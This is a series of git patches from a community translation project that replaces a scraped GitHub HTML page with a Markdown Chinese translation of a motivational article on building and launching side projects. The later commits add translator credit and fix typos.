-<h3><a id="user-content-2-stay-on-track" class="anchor" href="#2-stay-on-track" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>2. Stay on track</h3>
-<p>Sometimes product makers fail to ship because they lose motivation. <strong>Set small goals; meeting those goals will help you build momentum.</strong> Small wins will compound.</p>
-<p><a href="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" target="_blank"><img src="https://camo.githubusercontent.com/dd872403ce14df3e4a0b8f0b00466da08f100f79/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a4553696c6453565453534f6e4658474478442d6c39772e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png" style="max-width:100%;"></a></p>
-<p>Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.</p>
-<p>One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.</p>
-<h3><a id="user-content-3-solve-a-problem" class="anchor" href="#3-solve-a-problem" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>3. Solve a problem</h3>
-<p>Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.</p>
-<p>For example, I built <a href="http://jonathanzwhite.github.io/yc-careers/">YC Careers</a> and <a href="https://atomspace.co/">AtomSpace</a> to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of <a href="https://www.producthunt.com/posts/yc-careers">ProductHunt</a> and AtomSpace booked $100 dollars from strangers within 6 hours of going live.</p>
-<p><strong>The bigger the pain point you’re trying to solve, the easier it will be to find users.</strong></p>
-<p>Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.</p>
-<p>For further reading, <a href="https://amasad.me/carmack">John Carmack on Idea Generation</a> and <a href="http://paulgraham.com/startupideas.html">How to Get Startup Ideas</a> are two great essays to get you started.</p>
-<h3><a id="user-content-4-ditch-the-good-idea--bad-idea-mindset" class="anchor" href="#4-ditch-the-good-idea--bad-idea-mindset" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>4. Ditch the “good idea / bad idea” mindset</h3>
-<p>Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.</p>
-<p><strong>Plenty of seemingly bad ideas have turned out to be great businesses.</strong> For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay <a href="https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz">7 Rejections</a>.</p>
-<p><a href="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" target="_blank"><img src="https://camo.githubusercontent.com/f92ba5185615b9f8fe9b2967de61ffed64fd1f54/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a57707855784d434f2d374e58722d6f31796f303233672e706e67" alt="" data-canonical-src="https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png" style="max-width:100%;"></a></p>
-<p>The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.</p>
-<h3><a id="user-content-5-ask-for-help" class="anchor" href="#5-ask-for-help" aria-hidden="true"><svg aria-hidden="true" class="octicon octicon-link" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>5. Ask for help</h3>
-<p>When working on a project, reach out to people and ask for their help. <strong>You will be surprised at how many people are willing to pay it forward and help a complete stranger.</strong></p>
-<p>Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.</p>
-<p>Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.</p>
-<hr>
-<p>Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.</p>
-<p>So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.</p>
-<p>What are you working on right now? How can I help you? Leave me a note here or <a href="https://twitter.com/jonathanzwhite">tweet</a> them to me on Twitter.</p>
-<p>You can find me on Medium where I publish every week. Or you can follow me on <a href="https://twitter.com/JonathanZWhite">Twitter</a>, where I post non-sensical ramblings about design, front-end development, and virtual reality.</p>
-<p><em>P.S. If you enjoyed this article, it would mean a lot if you click the <g-emoji alias="green_heart" fallback-src="https://assets-cdn.github.com/images/icons/emoji/unicode/1f49a.png" ios-version="6.0">💚</g-emoji> and share with friends.</em></p>
-<hr>
-<blockquote>
-<p><a href="https://github.com/xitu/gold-miner">掘金翻译计划</a> 是一个翻译优质互联网技术文章的社区，文章来源为 <a href="https://juejin.im">掘金</a> 上的英文分享文章。内容覆盖 <a href="https://github.com/xitu/gold-miner#android">Android</a>、<a href="https://github.com/xitu/gold-miner#ios">iOS</a>、<a href="https://github.com/xitu/gold-miner#react">React</a>、<a href="https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF">前端</a>、<a href="https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF">后端</a>、<a href="https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81">产品</a>、<a href="https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1">设计</a> 等领域，想要查看更多优质译文请持续关注 <a href="https://github.com/xitu/gold-miner">掘金翻译计划</a>。</p>
-</blockquote>
-</article>
-  </div>
-
-</div>
-
-<button type="button" data-facebox="#jump-to-line" data-facebox-class="linejump" data-hotkey="l" class="d-none">Jump to Line</button>
-<div id="jump-to-line" style="display:none">
-  <!-- '"` --><!-- </textarea></xmp> --></option></form><form accept-charset="UTF-8" action="" class="js-jump-to-line-form" method="get"><div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
-    <input class="form-control linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line&hellip;" aria-label="Jump to line" autofocus>
-    <button type="submit" class="btn">Go</button>
-</form></div>
-
-
-  </div>
-  <div class="modal-backdrop js-touch-events"></div>
-</div>
-
-    </div>
-  </div>
-
-  </div>
-
-      <div class="container site-footer-container">
-  <div class="site-footer" role="contentinfo">
-    <ul class="site-footer-links float-right">
-        <li><a href="https://github.com/contact" data-ga-click="Footer, go to contact, text:contact">Contact GitHub</a></li>
-      <li><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li>
-      <li><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li>
-      <li><a href="https://shop.github.com" data-ga-click="Footer, go to shop, text:shop">Shop</a></li>
-        <li><a href="https://github.com/blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li>
-        <li><a href="https://github.com/about" data-ga-click="Footer, go to about, text:about">About</a></li>
-
-    </ul>
-
-    <a href="https://github.com" aria-label="Homepage" class="site-footer-mark" title="GitHub">
-      <svg aria-hidden="true" class="octicon octicon-mark-github" height="24" version="1.1" viewBox="0 0 16 16" width="24"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg>
-</a>
-    <ul class="site-footer-links">
-      <li>&copy; 2017 <span title="0.08952s from github-fe137-cp1-prd.iad.github.net">GitHub</span>, Inc.</li>
-        <li><a href="https://github.com/site/terms" data-ga-click="Footer, go to terms, text:terms">Terms</a></li>
-        <li><a href="https://github.com/site/privacy" data-ga-click="Footer, go to privacy, text:privacy">Privacy</a></li>
-        <li><a href="https://github.com/security" data-ga-click="Footer, go to security, text:security">Security</a></li>
-        <li><a href="https://status.github.com/" data-ga-click="Footer, go to status, text:status">Status</a></li>
-        <li><a href="https://help.github.com" data-ga-click="Footer, go to help, text:help">Help</a></li>
-    </ul>
-  </div>
-</div>
-
-
-
-  
-
-  <div id="ajax-error-message" class="ajax-error-message flash flash-error">
-    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
-    <button type="button" class="flash-close js-flash-close js-ajax-error-dismiss" aria-label="Dismiss error">
-      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-    </button>
-    You can't perform that action at this time.
-  </div>
-
-
-    <script crossorigin="anonymous" integrity="sha256-ikMY/+oJoM24IUt2zykmufagztMYoxe+1BnbGSFMaQ0=" src="https://assets-cdn.github.com/assets/compat-8a4318ffea09a0cdb8214b76cf2926b9f6a0ced318a317bed419db19214c690d.js"></script>
-    <script crossorigin="anonymous" integrity="sha256-bRCeda2EcbpBUIJybADDX7kpzquXUIJJKDXxHsqMB9k=" src="https://assets-cdn.github.com/assets/frameworks-6d109e75ad8471ba415082726c00c35fb929ceab975082492835f11eca8c07d9.js"></script>
-    <script async="async" crossorigin="anonymous" integrity="sha256-wC5XS/AFJkeL8nkWRggFsWsLsKi9cy0rFOeeMdWkUig=" src="https://assets-cdn.github.com/assets/github-c02e574bf00526478bf27916460805b16b0bb0a8bd732d2b14e79e31d5a45228.js"></script>
-    
-    
-    
-    
-  <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none">
-    <svg aria-hidden="true" class="octicon octicon-alert" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M8.865 1.52c-.18-.31-.51-.5-.87-.5s-.69.19-.87.5L.275 13.5c-.18.31-.18.69 0 1 .19.31.52.5.87.5h13.7c.36 0 .69-.19.86-.5.17-.31.18-.69.01-1L8.865 1.52zM8.995 13h-2v-2h2v2zm0-3h-2V6h2v4z"/></svg>
-    <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span>
-    <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span>
-  </div>
-  <div class="facebox" id="facebox" style="display:none;">
-  <div class="facebox-popup">
-    <div class="facebox-content" role="dialog" aria-labelledby="facebox-header" aria-describedby="facebox-description">
-    </div>
-    <button type="button" class="facebox-close js-facebox-close" aria-label="Close modal">
-      <svg aria-hidden="true" class="octicon octicon-x" height="16" version="1.1" viewBox="0 0 12 16" width="12"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48z"/></svg>
-    </button>
-  </div>
-</div>
-
-
-  </body>
-</html>
+---
 
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
\ No newline at end of file

From f4857dd5c82e2387af2c9ffbd88d767f974a0866 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:15:49 -0400
Subject: [PATCH 075/638] get ready for proofreading

---
 ...ng-will-change-until-you-start-building.md | 70 +++++++++----------
 1 file changed, 35 insertions(+), 35 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 0d57984107d..7d9880eb6ba 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -1,90 +1,90 @@
 > * 原文地址：[Nothing will change until you start building.](https://medium.freecodecamp.com/nothing-will-change-until-you-start-building-2681e85e7bdc)
 > * 原文作者：[Jonathan Z. White](https://medium.freecodecamp.com/@JonathanZWhite?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[owenlyn](https://github.com/owenlyn)
 > * 校对者：
 
 ---
 
 ![](https://cdn-images-1.medium.com/max/1000/1*EwHpnCZ70FtJMi-lNSl-9Q.png)
 
-# Nothing will change until you start building.
+# 真正行动之前 你将一无所成
 
-This past week, I was in a Lyft. My driver was telling me about all of her ideas for side projects. She had ideas for a children’s book, an app that helps people find parking, and a more efficient way to package gifts. The problem was she was frozen by indecision. She had the ideas but she didn’t know where to start.
+就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
 
-This is what I told her. **Start by building. Pick one project and do whatever you have to do to ship it.** If you want to write a book, start with writing a page a day. If you want to build an app, start with some sketches. Anyone can do it.
+接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
 
-This advice applies to all creators. Once you start building and launching your projects, you won’t be able to stop. Building will become part of your identity. And even if your project fails, you’ll keep at it.
+这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
-The steps you take today will compound over time. Look at great product makers like [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), and [Sebastian Dobrincu](https://twitter.com/Sebyddd). **They don’t wait for the right opportunity.** They build and ship weekly.
+你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
 
-In an interview on [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics), [Josh Pigford](https://twitter.com/Shpigford) disclosed that before he built Baremetrics, he had iterated through a *hundred* failed ideas. Today, Baremetrics makes over 60,000 in monthly recurring revenue.
+在一个 [IndieHackers](https://www.indiehackers.com/podcast/006-josh-pigford-of-baremetrics) 的节目中, [Josh Pigford](https://twitter.com/Shpigford) 透露，在做 Baremetrics 之前，他已经尝试过 *一百个* 失败的点子。 现在， Baremetrics 每个月都会有 60，000 美金进账。
 
 
 ![](https://cdn-images-1.medium.com/max/800/1*BzmVaqAKEzNRybUmMYOxdA.png)
 
-With that in mind, here are some tactics I’ve compiled from friends and acquaintances who are successful product makers.
+记住这些，接下来的要说的，是我总结的一些来自成功的产品创作者朋友们的策略。
 
 ---
 
-### 1. Define your goal
+### 1. 确定目标
 
-Early on, figure out the main goal of your project. If you want to break out of your usual design style, focus on the design. If you want to test a new framework for your front-end, focus on the code. If you want to acquire a hundred users, focus on selling.
+在开始的时候，确定你的项目要实现的主要目标。如果你想打破你以往的设计风格，那就把心思花在设计上；如果你测试一个新的前端框架，那就把钻研代码；如果你想获得上百个用户（”大量用户“ 会不会好点），就把精力用在销售上。
 
-**Define your goal early so you don’t get distracted and end up not achieving what you set out to do.** Perhaps your project doesn’t become the next Snapchat, but by working towards your goal you will have honed the tools in your product-making arsenal. Little by little, you’ll be able to design, code, and sell faster and more efficiently.
+**尽早确定目标可以帮助你摆脱诱惑，防止你到最后忘记初心。** 也许你的项目并不能成为下一个 Snapchat, 但是在通往你目标的道路上，你会更加的熟练运用各种做产品的工具。渐渐地，你会拥有越来越强大的设计、代码、销售等的能力。
 
-### 2. Stay on track
+### 2. 执行计划
 
-Sometimes product makers fail to ship because they lose motivation. **Set small goals; meeting those goals will help you build momentum.** Small wins will compound.
+有一些产品没能完的原因是作者在半路失去了动力。 **设定一些小目标（比如先赚一个亿）；完成这些目标会让你获得前进的动力。** 小的成就累计起来也是很了不起的。
 
 ![](https://cdn-images-1.medium.com/max/800/1*ESildSVTSSOnFXGDxD-l9w.png)
 
-Another thing you can do to stay on track is to be more public about your work. Share your progress online and with your peers. People love to see things like wireframes and will often times provide valuable input.
+另一个让你保持动力的建议就是让你的项目更加公开。在网上和你的同行们分享你的进展。人们很喜欢看到线框（wireframe 翻译成 ”框架“ 会不会好一点？）类的东西，并常常带来有价值的投入。
 
-One trick that I find particularly motivating is making bets with friends. I tell them, if I don’t complete a task by a deadline, I’ll give them a hundred dollars. For example, I might set my task to getting twenty people to pay me within two weeks of launching a project.
+我自己找到的一个非常有用的保持动力的小秘诀是和朋友打赌。我对他们说，如果我在截止日期前没有完成某个任务，我就给他们一百刀。比如，我会在一个项目开始的两周内找到二十个人打赌。
 
-### 3. Solve a problem
+### 3. 解决一个问题
 
-Start by solving a problem. If you have experienced the problem yourself, even better. Ask your friends what kind of problems they experience.
+解决一个问题。如果你自己也经历了这个问题那就再好不过了。问问你的朋友们他们都有哪些问题需要解决。
 
-For example, I built [YC Careers](http://jonathanzwhite.github.io/yc-careers/) and [AtomSpace](https://atomspace.co/) to address the needs of one my friends who was having trouble applying to jobs and interviewing as a product designer. Overnight, YC Careers made it to the top of [ProductHunt](https://www.producthunt.com/posts/yc-careers) and AtomSpace booked $100 dollars from strangers within 6 hours of going live.
+比如，我做了 [YC Careers](http://jonathanzwhite.github.io/yc-careers/) 和 [AtomSpace](https://atomspace.co/) 来解决一个产品设计师朋友找工作和面试的烦恼。一夜之间，YC Careers 一下子爬到了 [ProductHunt](https://www.producthunt.com/posts/yc-careers) 的榜首，AtomSpace 在上线6个小时就拿到了来自陌生人的一百美元订单。
 
-**The bigger the pain point you’re trying to solve, the easier it will be to find users.**
+**你解决越大的痛点，就越容易找到用户。**
 
-Also, analyze problem-solutions from multiple perspectives. Some successful ideas might seem like a solution without a problem. For example, Instagram doesn’t seem to solve any immediate problem. But it does. Instagram solves the need for friends to stay updated on one another. If this need is not met, then it becomes a problem.
+同时，尝试从过个角度分析问题和解决方案。有些成功的点子看起来并没有解决任何问题，但其实不然。比如，Instagram 看起来没有直接解决任何问题。其实不是。Instagram 满足了朋友之间实时社交的需求。如果这个需求不能得到满足，那才是个问题。
 
-For further reading, [John Carmack on Idea Generation](https://amasad.me/carmack) and [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) are two great essays to get you started.
+想要了解更多的话，[John Carmack on Idea Generation](https://amasad.me/carmack) 和 [How to Get Startup Ideas](http://paulgraham.com/startupideas.html) 这两篇文章是非常好的开始。
 
-### 4. Ditch the “good idea / bad idea” mindset
+### 4. 放弃”好主意/坏主意“的想法
 
-Once you’ve identified a problem and come up with a solution, you’ll probably ask yourself if your idea is good.
+当你明确了你想要解决的问题并有了一个解决方案的时候，你可能会问自己这是不是一个好的点子。
 
-**Plenty of seemingly bad ideas have turned out to be great businesses.** For example, no one wanted to invest in Airbnb. Brian Chesky, one of the co-founders of Airbnb, detailed their rejections in his essay [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz).
+**相当一部分看起来很糟糕的点子最后被证明是超级棒的生意。** 比如，多年没人想投资 Airbnb。 Brian Chesky, Airbnb 的创始人之一，在他的文章 [7 Rejections](https://medium.com/@bchesky/7-rejections-7d894cbaa084#.l8fdqlasz) 里详细讲述了被投资人拒绝的故事。
 
 ![](https://cdn-images-1.medium.com/max/800/1*WpxUxMCO-7NXr-o1yo023g.png)
 
-The only way to know for sure if your idea will work is to formulate a product hypothesis and run an experiment to test it. Talk to people and ask if they are interested in your solution. If you can get them to pay you before you’ve built anything, even better.
+唯一验证你想法的办法就是做出一个产品来测试它。 找人聊聊，看看他们对你的解决方案是不是感兴趣。如果在你做出任何产品之前就有人原意为之付费那就再棒不过了。
 
-### 5. Ask for help
+### 5. 寻求帮助
 
-When working on a project, reach out to people and ask for their help. **You will be surprised at how many people are willing to pay it forward and help a complete stranger.**
+当你在你的项目上埋头苦干的时候，记得寻求别人的帮助。 **你会很惊喜的发现竟然有这么多人原意去帮助一个陌生人（对，就是你）。**
 
-Some of the best advice and feedback I have received came from reaching out to people with an email or a DM on Twitter.
+我获得的最好的一部分建议就是来自于给别人发邮件或是推特（微博）私信。
 
-Also, when asking for help, be specific and prepare your questions. If you want feedback on a design, send the mockup. If you want feedback on your marketing strategy, detail what you have tried so far. Context is key. And if you don’t get a response, follow up politely. Sometimes the person you’re reaching out to might have genuinely missed your message.
+在寻求帮助的时候，请提一些精确、有价值的问题。如果你需要关于设计的一些反馈，就把草稿发给别人；如果你需要营销方面的建议，就详细的列出你尝试过的方法。内容才是关键。如果别人没有回复你，请礼貌的再次询问 —— 有时候别人只是没注意到你的消息而已。
 
 ---
 
-Build and launch your side projects. Use this process as a way to hone your craft so that when opportunity presents itself, you’re ready to take full advantage of it. Luck always favors the prepared.
+开始你的兴趣项目吧。利用这个过程磨练自己，这样当机会来临的时候，你才能紧紧抓住。记住，机会总是青睐有准备的人。
 
-So next time you come up with an idea, act on it. Identify a problem, define your goal, stay on track, and ask for help.
+所以下次你有一个想法的时候，采取行动吧。找到一个问题，确定你的目标，坚持下去，别忘了学会寻求帮助。
 
-What are you working on right now? How can I help you? Leave me a note here or [tweet](https://twitter.com/jonathanzwhite) them to me on Twitter.
+你现在在做什么项目呢？有什么是我能帮到你的吗？可以在这里或者我的 [tweet](https://twitter.com/jonathanzwhite) 下面留言。
 
-You can find me on Medium where I publish every week. Or you can follow me on [Twitter](https://twitter.com/JonathanZWhite), where I post non-sensical ramblings about design, front-end development, and virtual reality.
+我在 Medium 上每周都会发文。也可以关注我的 [Twitter](https://twitter.com/JonathanZWhite)，我会发一些关于设计、前端开发和虚拟现实的杂想。
 
-*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*
+*P.S. If you enjoyed this article, it would mean a lot if you click the 💚 and share with friends.*（可删？）
 
 ---
 
-> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。
\ No newline at end of file
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 9df8dac2357ba3070b08880809c050cd61dad0f4 Mon Sep 17 00:00:00 2001
From: Wenlin Ou <wou6@gatech.edu>
Date: Fri, 7 Apr 2017 22:25:45 -0400
Subject: [PATCH 076/638] typo fix

---
 ...ing-will-change-until-you-start-building.md | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/TODO/nothing-will-change-until-you-start-building.md b/TODO/nothing-will-change-until-you-start-building.md
index 7d9880eb6ba..111ebd58e1e 100644
--- a/TODO/nothing-will-change-until-you-start-building.md
+++ b/TODO/nothing-will-change-until-you-start-building.md
@@ -10,15 +10,15 @@
 
 # 真正行动之前 你将一无所成
 
-就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童的书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她又想法但却不知道从何开始。
+就在上周我打了一辆 Lyft 出租车，司机跟我聊了很多关于她的天花乱坠的想法。她的想法里，有一个关于儿童书籍，有帮助人们停车的APP、有一个更高效的打包礼物的方法，但问题是她总是犹豫不决：她很有想法但却不知道从何开始。
 
-接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你像做一个APP，那就从草稿开始。任何人都可以做到这些。
+接下来这段话是我对她说的：**开始一些实际行动吧。选一个项目然后尽可能的去完成它。** 如果你想写一本书，那么从每天写一页开始；如果你想做一个APP，那就从草稿开始。任何人都可以做到这些。
 
 这些建议对所有创新者都适用。一旦你开始着手在你的项目上，你将会不由自主的继续做下去。创新将会成为你人格的一部分 —— 即使你的项目失败了。
 
-你今天迈出的一小步将会是你人生的一大步。看看那些伟大的产品创造者吧，比如 [Drew Wilson](https://twitter.com/drewwilson), [Pieter Levels](https://twitter.com/levelsio?), 和 [Sebastian Dobrincu](https://twitter.com/Sebyddd)。**他们不仅仅是等待合适的时机。** 他们每周都在更新他们的产品。 
